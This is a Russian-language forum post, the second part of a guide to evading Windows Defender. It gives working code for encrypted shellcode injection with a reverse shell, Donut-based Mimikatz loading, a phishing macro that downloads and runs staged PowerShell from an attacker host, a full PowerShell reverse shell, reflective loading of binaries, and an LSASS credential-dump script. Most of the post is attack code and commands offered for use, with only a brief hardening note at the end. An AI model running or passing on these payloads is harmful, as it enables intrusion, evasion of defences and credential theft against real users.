Обход Windows Defender (10 способов) Продолжение

Регистрация
09.01.23
Сообщения
4
Реакции
8
Баллы
3
Обход Windows Defender (10 способов) Продолжение
@cardcompanyperexod
5. Зашифрованная инъекция шеллкода

Инъекция шеллкода - это очень известная техника, которая заключается во вставке/инъекции позиционно-независимого шеллкода в данный жертвенный процесс, чтобы в итоге выполнить его в памяти. Это может быть выполнено различными способами. Смотрите следующее изображение для хорошего обзора общеизвестных способов.

Методы инъекции в процесс
889755f379c71022f0263.png

Источник: Process Injection Info Graphic

Однако в этой статье я буду обсуждать и демонстрировать следующий метод:
  1. Использование Process.GetProcessByName, чтобы найти процесс explorer и получить его PID.
  2. Открытие процесса через OpenProcess с правом доступа 0x001F0FFF.
  3. Выделение памяти в процессе explorer для нашего шеллкода с помощью VirtualAllocEx.
  4. Запись шеллкода в процесс через WriteProcessMemory.
  5. Наконец, создание потока, который будет выполнять наш позиционно-независимый шеллкод с помощью CreateRemoteThread.

Конечно, иметь исполняемый файл, содержащий вредоносный шеллкод, было бы очень плохой идеей, так как он будет немедленно отмечен Defender. Для борьбы с этим мы сначала зашифруем шеллкод с помощью AES-128 CBC и PKCS7 padding, чтобы скрыть его реальное поведение и структуру до момента выполнения (где Defender действительно слаб).

Сначала нам нужно будет сгенерировать начальный шеллкод. Для доказательства концепции я буду использовать простую обратную оболочку TCP от msfvenom.

Генерация начального шеллкода PI
bbfe002dcb3882cf2a5ad.png


Как только мы его получили, нам понадобится способ его зашифровать. Для этого я буду использовать следующий код на C#, но не стесняйтесь шифровать его другим способом (например, cyberchef).
Encrypter.cs
C#:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex);

}

private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}

return randomBytes;
}

private static byte[] GetKey(int size)
{
char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}

private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}

private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}

Компиляция и запуск приведенного выше кода с исходным шеллкодом в переменной "buf" выплюнет зашифрованные байты, которые мы будем использовать в нашей программе-инжекторе.

Для этого PoC я также выбрал C# в качестве языка для инжектора, но вы можете использовать любой другой язык, поддерживающий Win32 API (C/C++, Rust и т.д.).

Наконец, код, который будет использоваться для инжектора, выглядит следующим образом:
Injector.cs
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

}

private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}

}

Для этой статьи я скомпилировал программу с зависимостями для удобства переноса на EC2, но не стесняйтесь скомпилировать ее в автономный двоичный файл, который будет занимать около 50-60 МБ.

Наконец, мы можем настроить слушателя с помощью netcat на машине атакующего/C2 и выполнить инжектор на машине жертвы:

Выполнение инжектора
570f9a70ca3e4844fb63b.png


Получение реверс-шелла
f6e9cd710d930f23b05eb.png


6. Загрузка шеллкода Donut

Проект Donut от TheWover - это очень эффективный генератор позиционно-независимого шеллкода из PEs/DLL. В зависимости от заданного входного файла, он работает по-разному. Для этого PoC я буду использовать Mimikatz, поэтому давайте посмотрим, как он работает на высоком уровне. Из беглого взгляда на код, это будет основная процедура исполняемого инструмента Donut.exe:

Возможная основная рутина/функция Donut из файла donut.c
// 1. validate the loader configuration
err = validate_loader_cfg(c);
if(err == DONUT_ERROR_OK) {
// 2. get information about the file to execute in memory
err = read_file_info(c);
if(err == DONUT_ERROR_OK) {
// 3. validate the module configuration
err = validate_file_cfg(c);
if(err == DONUT_ERROR_OK) {
// 4. build the module
err = build_module(c);
if(err == DONUT_ERROR_OK) {
// 5. build the instance
err = build_instance(c);
if(err == DONUT_ERROR_OK) {
// 6. build the loader
err = build_loader(c);
if(err == DONUT_ERROR_OK) {
// 7. save loader and any additional files to disk
err = save_loader(c);
}
}
}
}
}
}
// if there was some error, release resources
if(err != DONUT_ERROR_OK) {
DonutDelete(c);
}

Из всех этих функций, пожалуй, наиболее интересной является build_loader, которая содержит следующий код:

build_loader function
C:Скопировать в буфер обмена
uint8_t *pl;
uint32_t t;

// target is x86?
if(c->arch == DONUT_ARCH_X86) {
c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
} else
// target is amd64?
if(c->arch == DONUT_ARCH_X64) {
c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
} else
// target can be both x86 and amd64?
if(c->arch == DONUT_ARCH_X84) {
c->pic_len = sizeof(LOADER_EXE_X86) +
sizeof(LOADER_EXE_X64) + c->inst_len + 32;
}
// allocate memory for shellcode
c->pic = malloc(c->pic_len);

if(c->pic == NULL) {
DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
return DONUT_ERROR_NO_MEMORY;
}

DPRINT("Inserting opcodes");

// insert shellcode
pl = (uint8_t*)c->pic;

// call $ + c->inst_len
PUT_BYTE(pl, 0xE8);
PUT_WORD(pl, c->inst_len);
PUT_BYTES(pl, c->inst, c->inst_len);
// pop ecx
PUT_BYTE(pl, 0x59);

// x86?
if(c->arch == DONUT_ARCH_X86) {
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);

DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
(uint32_t)sizeof(LOADER_EXE_X86));

PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
} else
// AMD64?
if(c->arch == DONUT_ARCH_X64) {

DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
(uint32_t)sizeof(LOADER_EXE_X64));

// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention

// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);

PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
} else
// x86 + AMD64?
if(c->arch == DONUT_ARCH_X84) {

DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
(uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));

// xor eax, eax
PUT_BYTE(pl, 0x31);
PUT_BYTE(pl, 0xC0);
// dec eax
PUT_BYTE(pl, 0x48);
// js dword x86_code
PUT_BYTE(pl, 0x0F);
PUT_BYTE(pl, 0x88);
PUT_WORD(pl, sizeof(LOADER_EXE_X64) + 5);

// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention

// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);

PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
}
return DONUT_ERROR_OK;

Опять же, судя по краткому анализу, эта подпрограмма создает/подготавливает позиционно-независимый шеллкод на основе оригинального исполняемого файла для последующей инъекции, вставляя ассемблерные инструкции для выравнивания стека на основе каждой архитектуры и заставляя поток кода переходить к оригинальному шеллкоду исполняемого файла. Обратите внимание, что это может быть не самый обновленный код, так как последний коммит этого файла был в декабре 2022 года, а последний релиз - в марте 2023 года. Но это дает хорошее представление о том, как это работает.

Наконец, переходя к доказательству концепции этого раздела, я буду выполнять стандартный Mimikatz, полученный непосредственно из репозитория gentilkiwi, внедряя шеллкод в локальный процесс powershell. Для этого нам нужно сначала сгенерировать PI-код.

Выполнение инжектора
e2d224e0ddcb75719941b.png

После того как шеллкод сгенерирован, мы можем использовать для этой цели любой инжектор. К счастью, последняя версия уже поставляется с локальным (для процесса, который его выполняет) и удаленным (для другого процесса) инжектором, для которого Microsoft еще не создала сигнатуры, поэтому я буду использовать именно его.

Выполнение инжектора
85b009d2b4b9702363618.png

7. Пользовательские инструменты

Такие инструменты, как Mimikatz, Rubeus, Certify, PowerView, BloodHound и т.д., популярны не просто так: они реализуют множество функциональных возможностей в одном пакете. Это очень полезно для злоумышленников, поскольку они могут автоматизировать распространение вредоносного ПО с помощью всего нескольких инструментов. Однако это также означает, что производителям очень легко отключить весь инструмент, зарегистрировав его сигнатурные байты (например, строки меню, имена классов/пространств имен в C# и т.д.).

Чтобы противостоять этому, возможно, нам не нужен целый инструмент размером 2-5 МБ, полный зарегистрированных сигнатур для выполнения одной или двух нужных нам функций. Например, для дампа паролей/хэшей входа в систему мы можем использовать весь проект Mimikatz с функцией sekurlsa::logonpasswords, но мы также можем запрограммировать свой собственный дампер и парсер LSASS совершенно другим способом, но с похожим поведением и вызовами API.

Для первого примера я буду использовать LsaParser от Cracked5pider.

Выполнение LsaParser
6f1b6a294dbe5a59d2dba.png


К сожалению, он не разработан для Windows Server, поэтому мне пришлось использовать его на моей локальной Windows 10, но вы поняли идею.

Для второго примера предположим, что нашей целью является перечисление общих ресурсов во всем домене Active Directory. Для этого мы могли бы использовать Find-DomainShare от PowerView, однако это один из самых известных инструментов с открытым исходным кодом, поэтому, чтобы быть более скрытными, мы можем разработать собственный инструмент поиска ресурсов на основе встроенного API Windows, как показано ниже.

RemoteShareEnum.cpp
C++:Скопировать в буфер обмена
#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

int wmain(DWORD argc, WCHAR* lpszArgv[])
{

PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
return 1;

default:
break;
}
wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
wprintf(L"-------------------------------------------------------------------------------------\n\n");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
}

NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
}

}
while (res == ERROR_MORE_DATA);
denied = 0;
}

wprintf(L"-------------------------------------------------------------------------------------\n\n");
}
return 0;

}

Этот инструмент на высоком уровне использует функцию NetShareEnum из Win32 API для удаленного получения общих ресурсов, обслуживаемых с любых конечных точек входа. По умолчанию он пытается использовать привилегированный уровень доступа SHARE_INFO_502, который показывает некоторую дополнительную информацию, такую как путь к диску, количество соединений и т.д. В случае неудачи он возвращается к уровню доступа SHARE_INFO_1, который показывает только имя ресурса, но может быть перечислен любым непривилегированным пользователем (если только специфический ACL не блокирует его).

Не стесняйтесь использовать этот инструмент, доступный здесь.

Теперь мы можем использовать его следующим образом:

Выполнение RemoteShareEnum
e1bc3a50c693a42da72ff.png


Конечно, создание собственных инструментов может быть очень затратной по времени задачей, а также требует очень глубоких знаний внутреннего устройства Windows, но это потенциально может победить все остальные методы, представленные в этой статье. Поэтому его следует принимать во внимание, если все остальное не работает. Тем не менее, я считаю, что это чрезмерно для Defender/AVs, и лучше подходит для уклонения от EDR, поскольку вы можете контролировать и включать свой собственный выбор вызовов API, точек останова, порядка, нежелательных данных/инструкций, обфускации и т.д.
8. Инсценировка полезной нагрузки

Разбиение полезной нагрузки на последовательные этапы - отнюдь не новая техника, и она часто используется субъектами угроз для распространения вредоносного ПО, которое обходит первоначальный статический анализ. Это происходит потому, что настоящая вредоносная полезная нагрузка будет извлечена и выполнена на более поздней стадии, где статический анализ может не успеть сработать.

В данном PoC я продемонстрирую очень простой, но эффективный способ создания реверс-шелла, который может быть использован, например, для создания вредоносного файла Office с помощью следующего макроса:

Макрос для выполнения первого этапа
Код:Скопировать в буфер обмена
Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub


Это, конечно же, не будет обнаружено антивирусом статически, поскольку он просто выполняет внешне безопасную команду.

Поскольку у меня не установлен Office, я буду эмулировать процесс фишинга, вручную выполняя указанную команду в сценарии PowerShell.

Наконец, доказательством концепции этого раздела является следующее:

stage0.txt (это будет команда, выполняемая в фишинговом макросе)
Код:Скопировать в буфер обмена
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")



stage1.txt
Код:Скопировать в буфер обмена
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")


stage2.txt
Код:Скопировать в буфер обмена
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
Week of PowerShell Shells - Announcement and Day 1
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,

[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)


try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x

#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}

Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80


Здесь следует отметить несколько моментов. Во-первых, ref.txt - это простой обход AMSI в PowerShell, который позволит нам исправить сканирование In-Memory AMSI для текущего процесса PowerShell. Более того, в данном случае не имеет значения расширение сценариев PowerShell, поскольку их содержимое будет просто загружено как текст и вызвано с помощью Invoke-Expression (псевдоним для IEX).

Затем мы можем выполнить полный PoC следующим образом:

Выполнение этапа 0 в нашей жертве
8d6db7451c060d9adec1b.png

Жертва загружает этапы с нашего C2
b3942f0940224e4b00798.png


Получение реверс-шелла на нашем сервере атакующего
e7a9818e908cae248df47.png

9. Отражающая (рефлексивная) загрузка

Возможно, вы помните из первого раздела, что мы выполнили Mimikatz после исправления AMSI в памяти в качестве демонстрации того, что Defender перестал сканировать память нашего процесса. Это произошло потому, что .NET предоставляет API System.Reflection.Assembly, который мы можем использовать для рефлексивной загрузки и выполнения сборки .NET (определяется как "Представляет собой сборку, которая является многократно используемым, версионируемым и самоописывающимся строительным блоком приложения для выполнения на общем языке.") в памяти.

Это, конечно, очень полезно для наступательных целей, поскольку PowerShell использует .NET, и мы можем использовать его в сценарии для загрузки всего двоичного файла в память, чтобы обойти статический анализ, в котором Windows Defender блистает.

Общая структура сценария выглядит следующим образом:

Шаблон рефлексивной загрузки
Код:Скопировать в буфер обмена
function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)

$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)

[ClassName.Program]::main([string[]]$args)

[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results

}


Где Gzip просто используется для попытки скрыть реальный двоичный файл, поэтому иногда он может работать без дополнительных методов обхода, но самой важной строкой является вызов функции Load из System.Reflection.Assembly .NET Class для загрузки двоичного файла в память. После этого мы можем просто вызвать его главную функцию с помощью "[ClassName.Program]::main([string[]]$args)".

Таким образом, мы можем выполнить следующую kill-цепочку для выполнения любого двоичного файла:
  • Патч AMSI/ETW
  • Рефлексивная загрузка и выполнение сборки

К счастью, этот репозиторий содержит не только множество готовых скриптов для каждого известного инструмента, но и инструкции по созданию собственных скриптов из ваших двоичных файлов.

Для этого PoC я буду выполнять Mimikatz, но не стесняйтесь использовать любой другой.

Рефлексивная загрузка Mimikatz
3b1c36d733b85d0aebbdc.png

Обратите внимание, что, как было указано ранее, обход AMSI может не потребоваться для некоторых двоичных файлов в зависимости от строкового представления двоичных файлов, которое вы применяете в скрипте. Но поскольку Invoke-Mimikatz широко известен, в данном примере мне пришлось это сделать.

10. Сборки P/Invoke C#

P/Invoke, или Platform Invoke, позволяет нам получать доступ к структурам, обратным вызовам и функциям из неуправляемых нативных DLL Windows, чтобы получить доступ к API более низкого уровня в нативных компонентах, которые могут быть недоступны непосредственно из .NET.

Теперь, поскольку мы знаем, что он делает, и знаем, что можем использовать .NET в PowerShell, это означает, что мы можем получить доступ к низкоуровневым API из сценария PowerShell, который мы можем запустить без того, чтобы Defender следил за нами, если мы установили патч AMSI раньше.

В качестве примера, допустим, мы хотим сделать дамп процесса LSASS в файл через MiniDumpWriteDump, доступный в "Dbghelp.dll". Для этого мы могли бы использовать инструмент nanodump от fortra. Однако он полон сигнатур, которые Microsoft сгенерировала для этого инструмента. Вместо этого мы можем использовать P/Invoke для программирования сценария PowerShell, который будет делать то же самое, но при этом мы можем внести изменения в AMSI, чтобы сделать его необнаруживаемым.

Поэтому я буду использовать следующий код PS для PoC.

MiniDumpWriteDump.ps
Код:Скопировать в буфер обмена
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}

$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}


В этом примере мы сначала импортируем функцию MiniDumpWriteDump из Dbghelp.dll через Add-Type, затем импортируем OpenProcess и CloseHandle из kernel32.dll. Затем, наконец, получаем хэндл процесса LSASS и используем MiniDumpWriteDump для выполнения полного дампа памяти процесса и записи его в файл.

Таким образом, полный PoC будет выглядеть следующим образом:

Выполнение дампа LSASS
e5217a4c343d216515a05.png

Загрузка дампа с помощью impacket-smbclient
1ecf710216581ec8f5970.png

Парсинг файла MiniDump локально с помощью pypykatz
e3c1b8734d8025b288a60.png

Обратите внимание, что в итоге я использовал немного измененный сценарий, который шифрует дамп в base64 перед записью в файл, поскольку Defender определял файл как LSASS дамп и удалял его.

Выводы

Всем этим я не пытаюсь разоблачить Defender или сказать, что это плохое антивирусное решение. На самом деле, он, вероятно, один из лучших на рынке, и большинство методов, описанных здесь, можно использовать с большинством производителей. Но поскольку именно его я использовал для этой статьи, я не могу говорить о других.

В конечном итоге, вы никогда не должны полагаться на AV или EDR в качестве первой линии защиты от угроз, а должны укреплять инфраструктуру, чтобы даже если решения для конечных точек будут обойдены, вы могли минимизировать потенциальный ущерб. Например, система строгих разрешений, GPO, правила ASR, контролируемый доступ, упрочнение процессов, CLM, AppLocker и т.д.
 
Назад
Верх Низ